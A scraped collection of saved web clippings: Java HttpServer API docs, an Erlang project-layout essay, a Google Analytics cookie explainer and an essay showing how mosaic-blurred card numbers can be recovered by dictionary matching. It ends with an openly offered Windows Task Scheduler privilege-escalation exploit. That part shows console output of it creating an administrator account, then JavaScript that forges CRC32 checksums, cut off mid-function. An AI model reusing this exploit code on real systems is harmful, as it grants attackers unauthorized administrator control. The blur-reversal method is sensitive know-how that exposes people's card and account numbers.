  * remove the BB hook after first hit
  * use simple data structures
  * for termination, consider different conditions than watching the CPU

References

1\. Charlie Miller, 2010, Babysitting an army of monkeys: an analysis of
fuzzing 4 products with 5 lines of Python, http://tinyurl.com/cwp5yde

2\. Perfect hash function,
http://en.wikipedia.org/wiki/Perfect\_hash\_function

# com.sun.net.httpserver \(Java SE 9 & JDK 9 \)

**Created:**| _11/23/2017 11:07:16 AM_  
---|---  
**Updated:**| _11/23/2017 11:07:16 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Provides a simple high-level Http server API, which can be used to build
embedded HTTP servers. Both "http" and "https" are supported. The API provides
a partial implementation of RFC 2616 \(HTTP 1.1\) and RFC 2818 \(HTTP over
TLS\). Any HTTP functionality not provided by this API can be implemented by
application code using the API.

Programmers must implement the `HttpHandler` interface. This interface
provides a callback which is invoked to handle incoming requests from clients.
A HTTP request and its response is known as an exchange. HTTP exchanges are
represented by the `HttpExchange` class. The `HttpServer` class is used to
listen for incoming TCP connections and it dispatches requests on these
connections to handlers which have been registered with the server.

A minimal Http server example is shown below:

>
[code]

>        class MyHandler implements HttpHandler {
>            public void handle(HttpExchange t) throws IOException {
>                InputStream is = t.getRequestBody();
>                read(is); // .. read the request body
>                String response = "This is the response";
>                t.sendResponseHeaders(200, response.length());
>                OutputStream os = t.getResponseBody();
>                os.write(response.getBytes());
>                os.close();
>            }
>        }
>        ...
>  
>        HttpServer server = HttpServer.create(new InetSocketAddress(8000),
> 0);
>        server.createContext("/applications/myapp", new MyHandler());
>        server.setExecutor(null); // creates a default executor
>        server.start();
>  
[/code]

The example above creates a simple HttpServer which uses the calling
application thread to invoke the handle\(\) method for incoming http requests
directed to port 8000, and to the path /applications/myapp/.

The `HttpExchange` class encapsulates everything an application needs to
process incoming requests and to generate appropriate responses.

Registering a handler with a HttpServer creates a `HttpContext` object and
`Filter` objects can be added to the returned context. Filters are used to
perform automatic pre- and post-processing of exchanges before they are passed
to the exchange handler.

For sensitive information, a `HttpsServer` can be used to process "https"
requests secured by the SSL or TLS protocols. A HttpsServer must be provided
with a `HttpsConfigurator` object, which contains an initialized `SSLContext`.
HttpsConfigurator can be used to configure the cipher suites and other SSL
operating parameters. A simple example SSLContext could be created as follows:

>
[code]

>        char[] passphrase = "passphrase".toCharArray();
>        KeyStore ks = KeyStore.getInstance("JKS");
>        ks.load(new FileInputStream("testkeys"), passphrase);
>  
>        KeyManagerFactory kmf = KeyManagerFactory.getInstance("SunX509");
>        kmf.init(ks, passphrase);
>  
>        TrustManagerFactory tmf = TrustManagerFactory.getInstance("SunX509");
>        tmf.init(ks);
>  
>        SSLContext ssl = SSLContext.getInstance("TLS");
>        ssl.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null);
>  
[/code]

In the example above, a keystore file called "testkeys", created with the
keytool utility is used as a certificate store for client and server
certificates. The following code shows how the SSLContext is then used in a
HttpsConfigurator and how the SSLContext and HttpsConfigurator are linked to
the HttpsServer.

>
[code]

>         server.setHttpsConfigurator (new HttpsConfigurator(sslContext) {
>             public void configure (HttpsParameters params) {
>  
>             // get the remote address if needed
>             InetSocketAddress remote = params.getClientAddress();
>  
>             SSLContext c = getSSLContext();
>  
>             // get the default parameters
>             SSLParameters sslparams = c.getDefaultSSLParameters();
>             if (remote.equals (...) ) {
>                 // modify the default set for client x
>             }
>  
>             params.setSSLParameters(sslparams);
>             // statement above could throw IAE if any params invalid.
>             // eg. if app has a UI and parameters supplied by a user.
>  
>             }
>         });
>  
[/code]

Since:

    1.6
  * Interface Summary Interface | Description  
---|---  
HttpHandler |  A handler which is invoked to process HTTP exchanges.  
  * Class Summary Class | Description  
---|---  
Authenticator |  Authenticator represents an implementation of an HTTP authentication mechanism.  
Authenticator.Failure |  Indicates an authentication failure.  
Authenticator.Result |  Base class for return type from authenticate\(\) method  
Authenticator.Retry |  Indicates an authentication must be retried.  
Authenticator.Success |  Indicates an authentication has succeeded and the authenticated user principal can be acquired by calling getPrincipal\(\).  
BasicAuthenticator |  BasicAuthenticator provides an implementation of HTTP Basic authentication.  
Filter |  A filter used to pre- and post-process incoming requests.  
Filter.Chain |  a chain of filters associated with a HttpServer.  
Headers |  HTTP request and response headers are represented by this class which implements the interface `Map`<`String`, `List` <`String`>>.  
HttpContext |  HttpContext represents a mapping between the root URI path of an application to a `HttpHandler` which is invoked to handle requests destined for that path on the associated HttpServer or HttpsServer.  
HttpExchange |  This class encapsulates a HTTP request received and a response to be generated in one exchange.  
HttpPrincipal |  Represents a user authenticated by HTTP Basic or Digest authentication.  
HttpsConfigurator |  This class is used to configure the https parameters for each incoming https connection on a HttpsServer.  
HttpServer |  This class implements a simple HTTP server.  
HttpsExchange |  This class encapsulates a HTTPS request received and a response to be generated in one exchange and defines the extensions to HttpExchange that are specific to the HTTPS protocol.  
HttpsParameters |  Represents the set of parameters for each https connection negotiated with clients.  
HttpsServer |  This class is an extension of `HttpServer` which provides support for HTTPS.  

  

# Erlang Project Power Levels \(Draft\)

**Created:**| _5/31/2011 10:03:27 PM_  
---|---  
**Updated:**| _5/31/2011 10:03:41 PM_  
**Author:**| __  
**Tags:**| _programming Erlang Functional_  
  

# Erlang Project Power Levels \(Draft\)

Erlang projects can take a wide range of forms, from the happy green meadows
of putting everything in one directory, to the jagged peaks of abstraction
provided by OTP’s release handling.

There’s little documented convention on which approach is best for what, so
most newcomers to the language tend to start simple and gradually upgrade to
more structured layouts as their code grows. It’s a non-trivial learning
process, so I’d like to shape it a bit by describing a direction of growth.

## Level 0: Monad

Everything is in one folder. Source code, compiled code, include headers,
everything. Compilation is done by running erl -make, sometimes with an
Emakefile for additional flags. Sometimes there’s a Makefile.

Dependencies are installed globally by hand: the project isn’t aware of them.
\(When everything you need came with OTP, this is fine.\)

Running your app is trivial, since `erl` sees everything in the directory you
start it.

Hot code reloading is refreshingly easy: compiling and loading a module is one
shell command:  
`c(Module).`

Level 0 is characterized by custom-built solutions on top of a trivial
namespace. It works well when you’re just starting to write code, but rapidly
starts to reinvent wheels. If you find yourself needing to write scripts to
generate documentation or run unit tests, or adding path parameters to erl on
startup, it’s time to level up to…

## Level 1: Application

An application is a collection of related modules. It can be started and
stopped, and has well known conventions about its structure.

Rather than drown in the manuals on the topic, just use rebar. It’s a script
that understands the directory structure conventions, and has commands for
compiling, unit testing, and typechecking your application. It also generates
minimal application templates: try `rebar create-app appid=foo`.

Rebar’s behavior can be customized by placing a rebar.config file in
application root. Documentation is almost non-existant, but the sample should
get you started and there’s a wide variety of projects to use as examples. In
the worst case, rebar is written in Erlang and the source is very clear.

The huge advantage is dependency management. The ‘deps’ setting in
rebar.config lets you pull projects from git/hg/svn repositories, and rebar
will take care of compiling them. This is a huge advantage over manually
installing dependencies, espcially if you’re sharing your code with others.

For running your code, you’ll need to add dependency ebin folders to the code
path; if starting from application root, `erl -pa ebin deps/*/ebin` should do.
Hot code reloading is still easy, though the compile step must now be done in
an OS terminal and is a little longer.

This level will get you through a lot – it has support for all kinds of unit
testing, compiling C drivers, documentation generation, and static code
analysis tools\! If you’re working on a library, you won’t need to go further.

However, if you start seriously running whatever you wrote, you’ll see the
number of parameters passed to erl grow. You’ll start to think about
installing the right version of ERTS on remote machines. You’ll realize that
sometimes, connecting a remote shell using ^G isn’t enough and you need access
to the actual stdout console.

This is a sign of growth. Time for…

## Level 2: Release

A release is a folder containing everything your applications needs to run.
You can tar it up, move it to another machine with the same architecture, and
run it with zero dependencies\!

The release rebar generates contains all your application dependencies, the
Erlang runtime, and some support scripts. The start script boots up Erlang for
you, with all the parameters you specify, and automatically starts your
applications. It even takes care of detaching and attaching to stdout for you
with run\_erl – something you’ll appreciate when you decide to use rb.

Generating the release is done using ‘rebar generate’, after you create a node
configuration. Rebar has a template for those, and you can look at projects
like riak\_search for examples. \(Riak itself uses a technique I like, of
separating the release generation from the applications. Note that the repo
contains no Erlang code: it’s concerned purely with packaging\!\)

You can use releases for development as well, running your code with the same
VM arguments as it will in production. The trick is to give -pa arguments to
the release start script, such that your dev ebin folders come first on the
path. Etorrent uses this trick, in addition to various others.

Once you’ve got rebar generating releases, using them to deploy and test code
is pleasant and painless. They do, however, have a major downfall: how do you
do hot code upgrades? Those things are one of Erlang’s big features, and while
the development trick can be used it adds significant dependencies to what’s
supposed to be a self-contained package.

Now, there’s no need for hot code upgrades if your system is sitting idle or
not holding state: many projects can make do with full restarts. However, you
can guess where this is going…

## Level 3: Releases and Upgrades

Thus far, I haven’t talked about versions. To do hot code upgrades, a system
needs to accurately track what version of code it’s running and what versions
it can down or upgrade to.

The application versions included in a release all play well together –
releases are stable code points, snapshots of your tangled GIT repository
where everything worked and nothing was inconsistent.

A specific release has a unique version, and consists of a bunch of specific
application versions. If you check its lib folder, you’ll see them all in app-
vsn format.

A specific application can know how to upgrade from, and downgrade to, some
previous application versions. This is described in an .appup file.

Two different releases, then, may differ only in one or two applications. If
those applications know how to upgrade from the old ones, a “release upgrade”
can be generated from their .appups. This release upgrade is a tar file
containing the new application directories, and instructions on what modules
to reload/processes to tweak.

Installing an upgrade is then a three step process, done from the shell of a
currently running release:

  1. Unpack the upgrade. This places the new app-vsn application folders into the lib directory, and reads upgrade information.
  2. Install the upgrade, and spend some time confirming things work correctly.
  3. Once confident that everything’s okay, you can make the release permanent for future restarts.

The end result, after a release has had several upgrades applied to it, is the
lib folder will contain multiple entries with different versions for some
applications. You’ll be able to hop between them, by moving between different
release versions: the version changes will be done live, based on the
procedures defined in the .appup files.

  

Release upgrade generation is a bit tricky. Or, perhaps, it’s very simple –
but so few people truly need it that it’s a bit obscure. Thus far we’ve been
using rebar to wrap the boring details in a single command, but the rebar
support for release-upgrade generation is rather new and not widely used. If
you’re this far into a project, you probably have the experience to figure
something out yourself while a user-friendly process for rebar-generated
upgrades is worked out. The recent addition of support for using GIT tags to
specify application version in rebar, in particular, should significantly
change how rebar and releases are used.

If you want to play with rebar-generated upgrades, there is a promising
tutorial on the topic, with some great “try as you go” examples. Otherwise,
just keep in mind how the upgrades work an keep an eye out for new
developments\!

## 4 Summary

Erlang has support for a wide range of project types, but always works towards
the high goal it was built for: managing a large complex system with minimal
downtime and maximum safety.

While few projects are as massive as what Erlang was built to deal with, the
techniques can be applied to anything – and the community is steadily making
it easier and easier to put them into practice, by developing easy to use
tools like rebar.

Soon, live release upgrades may become the norm on all standalone Erlang
projects.

## Related Posts

  * 02 Apr 2011 » Lies, Damned Lies, and Marketing
  * 28 Feb 2011 » Erlang Shell Finesse

# Dies und Das Blog von Christian Ullenboom: LaTeX Editor in Google Docs mit
DVI-Vorschau

**Created:**| _4/13/2011 8:37:43 AM_  
---|---  
**Updated:**| _4/13/2011 8:37:43 AM_  
**Author:**| __  
**Tags:**| _cloud computing Latex_  
  

### LaTeX Editor in Google Docs mit DVI-Vorschau

Cool: http://latex-my.blogspot.com/2010/05/latex-lab-web-based-collaborative-
latex.html

<img src='img/dd83a8a95a03f0e56486f2769244e849.png' />

# Just another ROP

**Created:**| _8/13/2010 11:45:37 AM_  
---|---  
**Updated:**| _8/13/2010 11:46:13 AM_  
**Author:**| __  
**Tags:**| _Exploit conference-material Mac-hacking rop_  
  
<img src='img/Temp2_4735' />

# Why blurring sensitive information is a bad idea | dheera.net | Dheera Venkatraman's web site
**Created:**| _8/6/2014 1:34:23 PM_  
---|---  
**Updated:**| _8/6/2014 1:34:23 PM_  
**Author:**| __  
**Tags:**| _image-processing imagery intelligence_  
  

# Why blurring sensitive information is a bad idea

Undoubtedly you have all seen photographs of people on TV and online who have
been blurred to hide faces. For example, here's one of Bill Gates:

<img src='img/Temp2_9477.jpg' />  
Adapted from the Wikimedia Commons

For the most part this is all fine with peoples' faces as there isn't a
convenient way to reverse the blur back into a photo so detailed that you can
recognise the photo. So that's good if that is what you intended. However,
many people also resort to blurring sensitive _numbers_ and _text_. I'll
illustrate why that is a BAD idea.  
  
Suppose someone posted a photo of their check or credit card online for
whatever awful reason \(proving to Digg that I earned a million dollars,
showing something funny about a check, comparing the size of something to a
credit card, etc.\), blurring out the image with the far-too-common mosaic
effect to hide the numbers:

<img src='img/Temp2_9475.jpg' />

Seem secure because nobody can read the numbers anymore? WRONG. Here's a way
to attack this scheme:  
  
**Step 1. Get a blank check image.**  
There are two ways of doing this. You can either Photoshop out the numbers in
your existing image, or in the case of credit cards, you can get an account
with the same organization and take a photo of your own card from the same
angle, and match the white balancing and contrast levels. Then, use your own
high resolution photo to photoshop out your numbers.  
This is easy in these example images, of course:

<img src='img/Temp2_9482.jpg' />

**Step 2. Iterate.**  
Use a script to iterate through all the possible account numbers and generate
a check for each, blocking out the various sections of digits as sections. For
example, for a VISA card, the digits are grouped by 4, so you can do each
section individually, thus requiring only 4\*10000 = 40000 images to generate,
which is easy with a script.

<img src='img/Temp2_9480.jpg' />

**Step 3. Blur each image in an identical manner to the original image.**  
Identify the exact size and offset, in pixels, of the mosaic tiles used to
blur the original image \(easy\), and then do the same to each of your blurred
images. In this case, we see that the blurred image we have 8x8 pixel mosaic
units, and the offset is determined by counting from the top of the image
\(not shown\):

<img src='img/Temp2_9476.jpg' />

Now we iterate through all the images, blurring them in the same way as the
original image and obtain something like this:

<img src='img/Temp2_9474.jpg' />

**Step 4. Identify the mozaic brightness vector of each blurred image.**  
What does this mean? Well, let's take the mozaic version of 0000001 \(zoomed
in\):

<img src='img/Temp2_9478.jpg' />

... and identify the brightness level \(0-255\) of each mozaic region,
indexing them in some consistent fashion as a=\[a\_1,a\_2...,a\_n\]:

<img src='img/Temp2_9473.jpg' />

In this case, the account number 0000001 creates mozaic brightness vector
a\(0000001\)=\[213,201,190,...\]. We find the mozaic brightness vector for
every account number in a similar fashing using a script to blur each image
and read off the brightnesses. Let a\(x\) be the function of the account
number x. a\(x\)\_i denotes the ith vector value of the mozaic brightness
vector a obtained from account number x. Above, a\(0000001\)\_1 = 213.  
  
We now do the same for the original check image we found online or wherever,
obtaining a vector we hereby call z=\[z\_1,z\_2,...z\_n\]:

<img src='img/Temp2_9472.jpg' />

**Step 4. Find the one with the closest distance to the original image.**  
Identify the mozaic brigtness of the original image, call it
z=\[z\_1,z\_2,...z\_n\], and then simply compute the distance of each account
number's \(denote by x\) mozaic brightness vector \(normalizing each first\):  
  

d\(x\)=sqrt\(\(a\(x\)\_0/N\(a\(x\)\) - z\_0/N\(z\)\)^2 +
\(a\(x\)\_1/N\(a\(x\)\) - z\_1/N\(z\)\)^2 + ...\)

  
where N\(a\(x\)\) and N\(z\) are the normalization constants given by  
  

N\(a\(x\)\) = \(a\(x\)\_0^2 + a\(x\)\_1 ^2 + ...\)^2

N\(z\) = \(z\_0^2 + z\_1 ^2 + ...\)^2

  
Now, we then simply find the lowest d\(x\). For credit cards, only a small
fraction of possible numbers validate to hypothetically possible credit card
numbers, so it's an easy check as well.  
  
In the above case, we compute, for example,

N\(z\) = sqrt\(206^2+211^2+...\) = 844.78459  
N\(a\(0000001\)\) = 907.47837  
N\(a\(0000002\)\) = 909.20647  
...

and then proceed to calculate the distances:

d\(0000001\) = 1.9363  
d\(0000002\) = 1.9373  
...  
d\(1124587\) = 0.12566  
d\(1124588\) = 0.00000  
...

Might the account number just be 1124588?  
  
**" But you used your own crafted easy-to-decipher image\!"**  
In the real world we have photos, not fictitious checks made in Photoshop. We
have distortions of the text because of the camera angle, imperfect alignment,
and so on. But that doesn't stop a human from determining exactly what these
distortions are and creating a script to apply them\! Either way, the lowest
few distances determined can be considered as candidates, and especially in
the world of credit cards, where numbers are nicely chunked out in groups of
4, and only 1 in 10 numbers is actually a valid number, it makes it easy to
select from your top few lowest distances, which the most likely candidates
are.  
  
One important thing that one would need to do in order to implement this on
real photos is to improve the distance algorithm. For example, one can rewrite
the distance formula above to normalize the standard deviations in addition to
the means to improve performance. One can also do the RGB or HSV values
independently for each mozaic region, and one can also use scripting to
distort the text by a few pixels in each direction and compare as well \(which
still leaves you with a feasible number of comparisons on a fast PC\). One can
also employ algorithms similar to existing nearest-shape algorithms to help
improve the reliability of this on real photos.  
  
So yes, I used an image against itself and designed it to work here. But the
algorithem can surely be improved to work on real stuff. I don't have the time
nor desire to improve this any further, though, because I'm not the one after
your information. But one thing is for sure: it's a very easy situation to
fix. Don't use simple mosaics to blur your image. All you do is reduce the
amount of information from an image containing only log\(10^N\)/log\(2\)
effective bits of account data. When you distribute such images, you want to
_eliminate_ personal information, not obscure it by reducing the amount of
visual information in the image.  
  
Think about creating a 100x100 graphic on the screen. now lets say i just
averaged out the entire graphic and replaced every pixel with the whole
average \(i.e. turn it into a single pixel "mosaic"\). You have just created a
function that starts with 256^\(10000\) possibilities and hashes it to 256
possibilities. There is obviously no way with the resulting 8 bits of
information you can possibly reverse it to the original image. However, if you
know that the original image was one of 10 possibilities, you can easily have
success at determining which of the original images was used from just knowing
the resulting 8-bit number.  
  
**Analogy to a dictionary attack**  
Most UNIX/Linux system administrators know that /etc/passwd or /etc/shadow
store passwords encrypted using one-way encryption such as Salt or MD5. This
is reasonably secure since nobody will ever be able to decrypt the password
from looking at its ciphertext. Authentication occurs by performing the same
one-way encryption on the password entered by the user logging in, and
comparing that result to the stored one-way result. If the two match, the user
has successfully authenticated.  
  
It is well known that the one-way encryption scheme is easily broken when the
user picks a dictionary word as their password. All an attacker would have to
then do is encipher the entire English dictionary and compare the ciphertext
of each word to the ciphertext stored in /etc/passwd and pick up the correct
word as the password. As such, users are commonly advised to pick more complex
passwords that are not words. The dictionary attack can be illustrated like
this:

<img src='img/Temp2_9481.jpg' />

The similary to the dictionary attack on the blured image attack lies in the
fact that blurring an image is a one-way encryption scheme. You are converting
the image you have into another image designed to be unreadable. However,
since account numbers only typically go up to the millions, we can assemble a
"dictionary" of possible account numbers - that is, all the numbers from
0000001 to 9999999, for example, use an automated image processor to photoshop
each of those numbers onto a photo of a blank check, and blur each image. At
that point, one can simply compare the blurred pixels to see what _most_
closely matches the original blurred photo we have.  
  
**Solution**  
The solution is simple: Don't blur your images\! Instead, just color over
them:

<img src='img/Temp2_9479.jpg' />

Remember, you want to leave your visitors with NO information, not blurred
information.  
  
**Featured on**  
Slashdot | Gizmodo   

# Anatomy of Google Analytics Cookies - Eduhub Devblog

**Created:**| _4/21/2011 10:23:44 AM_  
---|---  
**Updated:**| _4/21/2011 10:23:44 AM_  
**Author:**| __  
**Tags:**| _web-app-sec Google privacy_  
  

# Anatomy of Google Analytics Cookies

by Dennis Paagman, April 14, 2011 in Process / Workflow

<img src='img/Temp2_729.jpg' width='300' height='125' alt='Google Analytics
Cookies' />Google Analytics is the most used analytics package in the world.
What information Google stores in their cookies is less known. I was
researching cookie tracking when thinking of a way to implement a script that
tracks conversion attribution for our affiliates. At first sight, Google gives
a useful overview of their cookies in their documentation. The thing that’s
missing though, is what’s actually stored in the cookies. Google sets four to
six different cookies with cryptic names like ‘\_\_utma’ and ‘\_\_utmz’. Each
cookie is used for different purposes. I will explain each purpose and the
data the cookie holds.  

## \_\_utma, identifies unique visitors

The first \(at least in Google’s naming scheme\) cookie is used to identify
unique visitors. This cookie is set to expire 2 years after each update. An
example of this cookie:

`79104832.870834247.1300982179.1302517735.1302528749.59`

  * _79104832_ : domain hash, unique for each domain \(reused across all cookies\)
  * _870834247_ : unique identifier
  *  _1300982179_ : timestamp for the time you first visited the site
  *  _1302517735_ : timestamp for the previous visit
  *  _1302528749_ : timestamp for the start of current visit
  *  _59_ : number of sessions started

The combination of the unique id and the timestamp of the first visit form an
unique identifier that Google uses to identify different visitors. Timestamps
are stored using the Unix time format, the number of seconds passed since
January 1st, 1970.

## \_\_utmb and \_\_utmc, identify sessions

These cookies are used to determine sessions. The first one expires 30 minutes
after inactivity and the second once expires after the browser is closed.
Together they are able to identify unique sessions. When you close your
browser but come back within 30 minutes, GA knows to record a new session,
because the \_\_utmc cookie was killed. This way they can record new sessions
that start within the 30 minute limit.

`__utmb: 79104832.3.10.1302530994  
__utmc: 79104832`

  * _79104832_ : domain hash
  *  _3_ : number of pageviews in current session
  *  _10_ : I’m not sure what this means
  *  _1302530994_ : timestamp for the start of the current session

## \_\_utmz, identifies traffic sources

This cookie is where the meat is. It holds information about the way you
entered the website. Stuff like keywords used in Google, campaigns like
AdWords or affiliate marketing are all saved here. It’s set for six months, so
visits can be attributed to a certain campaign or source for up to six months.
It is overridden each time the user enters the site from a new source.

In this case I entered Eduhub through Google’s organic search results with the
keywords ‘human quality management eduhub’.

`79104832.1302099445.45.9.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=human%20quality%20management%20eduhub`

  * _79104832_ : domain hash
  *  _1302099445_ : timestamp when cookie was set
  *  _45_ : session number, number of sessions you’ve had on the website
  *  _9_ : campaign number, number of different campaigns used to enter the site
  *  _utmcsr_ : campaign source, what source was used to enter the website
  *  _utmccn_ : campaign name. Campaign names usually differ per unique campaign, this variable makes each different campaign measurable
  *  _utmcmd_ : campaign medium. Organic in this case, other common mediums are referral, cpc and email
  *  _utmctr_ : campaign terms. In this case the keyword I last used to enter Eduhub \(human quality management eduhub\)

Google also uses _\_\_utmv_ and _\_\_utmx_ , for custom variables en Visual
Website Optimizer, respectively.

## What about privacy?

Google stores a lot of data in a few cookies. Some expire fast, some in two
years. The longest expiration date used to be somewhere in 2038, so on that
part Google has come some way regarding online privacy. Google also claims all
information is saved anonymously. The fact remains that GA is a really useful
tool for measuring what users do on your website and saving certain
information in cookies is essential to that functionality. As long as it’s
possible to opt-out of these cookies \(by disabling cookies, or even
javascript\) it shouldn’t be such a problem and make the lives of marketeers a
lot easier.

# Task Scheduler Privilege Escalation 0day, I wrote in java/vb script

**Created:**| _11/20/2010 12:15:36 PM_  
---|---  
**Updated:**| _11/20/2010 12:16:22 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit zeroday windows environment_  
  

[code]

    C:\Users\wD\Desktop>cscript exploit.wsf
    Microsoft (R) Windows Script Host Version 5.8
    Copyright (C) Microsoft Corporation. All rights reserved.
    
     Task Scheduler 0 day - Privilege Escalation
     Should work on Vista/Win7/2008 x86/x64
     webDEViL - w3bd3vil [at] gmail [dot] com
    
    Crc32 Original: BC08815D
    Crc32 Magic Bytes: 3DB8737B
    Crc32 Forged: BC08815D
    C:\Users\wD\Desktop>net user test123
    User name                    test123
    Full Name
    [snip]
    Local Group Memberships      *Administrators       *Users
    Global Group memberships     *None
    The command completed successfully.
    
    <job id="tasksch-wD-0day">
    <script language="Javascript">
    
    crc_table = new Array(
      0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
      0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
      0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
      0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
      0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
      0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
      0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
      0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
      0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
      0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
      0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
      0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
      0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
      0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
      0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
      0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
      0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
      0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
      0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
      0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
      0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
      0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
      0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
      0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
      0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
      0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
      0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
      0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
      0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
      0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
      0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
      0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
      0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
      0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
      0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
      0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
      0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
      0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
      0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
      0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
      0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
      0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
      0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
      0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
      0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
      0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
      0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
      0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
      0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
      0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
      0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
      0x2D02EF8D
    );
    
    var hD='0123456789ABCDEF';
    
    function dec2hex(d) {
    h='';
    for (i=0;i<8;i++) {
    h = hD.charAt(d&15)+h;
    d >>>= 4;
    }
    return h;
    }
    function encodeToHex(str){
        var r="";
        var e=str.length;
        var c=0;
        var h;
        while(c<e){
            h=str.charCodeAt(c++).toString(16);
            while(h.length<3) h="0"+h;
            r+=h;
        }
        return r;
    }
    function decodeFromHex(str){
        var r="";
        var e=str.length;
        var s=0;
        while(e>1){
                    
            r=r+String.fromCharCode("0x"+str.substring(s,s+2));
                    
                    s=s+2;
                    e=e-2;
        }
        
            return r;
            
    }
    
    
    function calc_crc(anyForm) {
    
    anyTextString=decodeFromHex(anyForm);
    
    Crc_value = 0xFFFFFFFF;
    StringLength=anyTextString.length;
    for (i=0; i<StringLength; i++) {
    tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
    Table_value = crc_table[tableIndex];
    Crc_value >>>= 8;
    Crc_value ^= Table_value;
    }
    Crc_value ^= 0xFFFFFFFF;
    return dec2hex(Crc_value);
    
    }
    
    function rev_crc(leadString,endString,crc32) {
    //
    // First, we calculate the CRC-32 for the initial string
    //
            anyTextString=decodeFromHex(leadString);
            
       Crc_value = 0xFFFFFFFF;
       StringLength=anyTextString.length;
       //document.write(alert(StringLength));
       for (var i=0; i<StringLength; i++) {
          tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
          Table_value = crc_table[tableIndex];
          Crc_value >>>= 8;
          Crc_value ^= Table_value;
       }
    //
    // Second, we calculate the CRC-32 without the final string
    //
       crc=parseInt(crc32,16);
       crc ^= 0xFFFFFFFF;
       anyTextString=decodeFromHex(endString);
       StringLength=anyTextString.length;
       for (var i=0; i<StringLength; i++) {
          tableIndex=0;
          Table_value = crc_table[tableIndex];
          while (((Table_value ^ crc) >>> 24)  & 0xFF) {
             tableIndex++;
             Table_value = crc_table[tableIndex];
          }
          crc ^= Table_value;
          crc <<= 8;
          crc |= tableIndex ^ anyTextString.charCodeAt(StringLength - i -1);
       }
    //
    // Now let's find the 4-byte string
    //
       for (var i=0; i<4; i++) {
          tableIndex=0;
          Table_value = crc_table[tableIndex];
